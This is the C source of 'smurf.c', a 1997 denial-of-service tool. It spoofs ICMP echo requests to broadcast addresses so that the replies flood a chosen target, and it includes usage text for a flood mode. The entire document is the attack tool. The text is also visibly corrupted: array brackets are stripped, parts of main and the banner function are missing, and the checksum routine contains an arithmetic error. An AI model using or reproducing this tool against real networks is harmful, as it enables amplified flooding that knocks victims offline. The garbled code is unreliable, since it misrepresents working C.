smurf.c

                             #include <signal.h>
                             #include <stdio.h>
                             #include <stdlib.h>
                             #include <sys/socket.h>
                             #include <sys/types.h>
                             #include <netinet/in.h>
                             #include <netinet/ip.h>
                             #include <netinet/ip_icmp.h>
                             #include <netdb.h>
                             #include <ctype.h>
                             #include <arpa/inet.h>
                             #include <unistd.h>
                             #include <string.h>

                             void banner(void);
                             void usage(char *);
                             void smurf(int, struct sockaddr_in, u_long, int);
                             void ctrlc(int);
                             unsigned short in_chksum(u_short *, int);

                             /* stamp */
                             char id = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

                             int main (int argc, char *argv)
                             {
                                struct sockaddr_in sin;
                                struct hostent *he;
                                FILE   *bcastfile;
                                int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
                                char   buf32, **bcastaddr = malloc(8192);

                                banner();
                                signal(SIGINT, ctrlc);

                                if (argc h_addr, he->h_length);
                                sin.sin_family = AF_INET;
                                sin.sin_port = htons(0);

                                num = atoi(argv3);
                                delay = atoi(argv4);
                                pktsize = atoi(argv5);

                                if ((bcastfile = fopen(argv2, "r")) == NULL) {
                                   perror("opening bcast file");
                                   exit(-1);
                                }
                                x = 0;
                                while (!feof(bcastfile)) {
                                   fgets(buf, 32, bcastfile);
                                   if (buf0 == '#' || buf0 == '\n' || ! isdigit(buf0)) continue;
                                   for (i = 0; i  1024) {
                                   fprintf(stderr, "ERROR: packet size must be  < bcast file > "
                                                " < packet delay > < packet size>\n\n"
                                                "target        = address to hit\n"
                                                "bcast file    = file to read broadcast addresses from\n"
                                                "num packets   = number of packets to send (0 = flood)\n"
                                                "packet delay  = wait between each packet (in ms)\n"
                                                "packet size   = size of packet (< 1024)\n\n", prog);
                                exit(-1);
                             }

                             void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
                             {
                                struct iphdr *ip;
                                struct icmphdr *icmp;
                                char *packet;

                                packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
                                ip = (struct iphdr *)packet;
                                icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

                                memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

                                ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
                                ip-> ihl = 5;
                                ip-> version = 4;
                                ip-> ttl = 255;
                                ip-> tos = 0;
                                ip-> frag_off = 0;
                                ip-> protocol = IPPROTO_ICMP;
                                ip-> saddr = sin.sin_addr.s_addr;
                                ip-> daddr = dest;
                                ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr));
                                icmp-> type = 8;
                                icmp-> code = 0;
                                icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

                                sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
                                       0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

                                free(packet);           /* free willy! */
                             }

                             void ctrlc (int ignored)
                             {
                                puts("\nDone!\n");
                                exit(1);
                             }

                             unsigned short in_chksum (u_short *addr, int len)
                             {
                                register int nleft = len;
                                register int sum = 0;
                                u_short answer = 0;

                                while (nleft > 1) {
                                   sum += *addr++;
                                   nleft -= 2;
                                }

                                if (nleft == 1) {
                                   *(u_char *)(&answer) = *(u_char *)addr;
                                   sum += answer;
                                }

                                sum = (sum >> 16) + (sum + 0xffff);
                                sum += (sum >> 16);
                                answer = ~sum;
                                return(answer);
                             }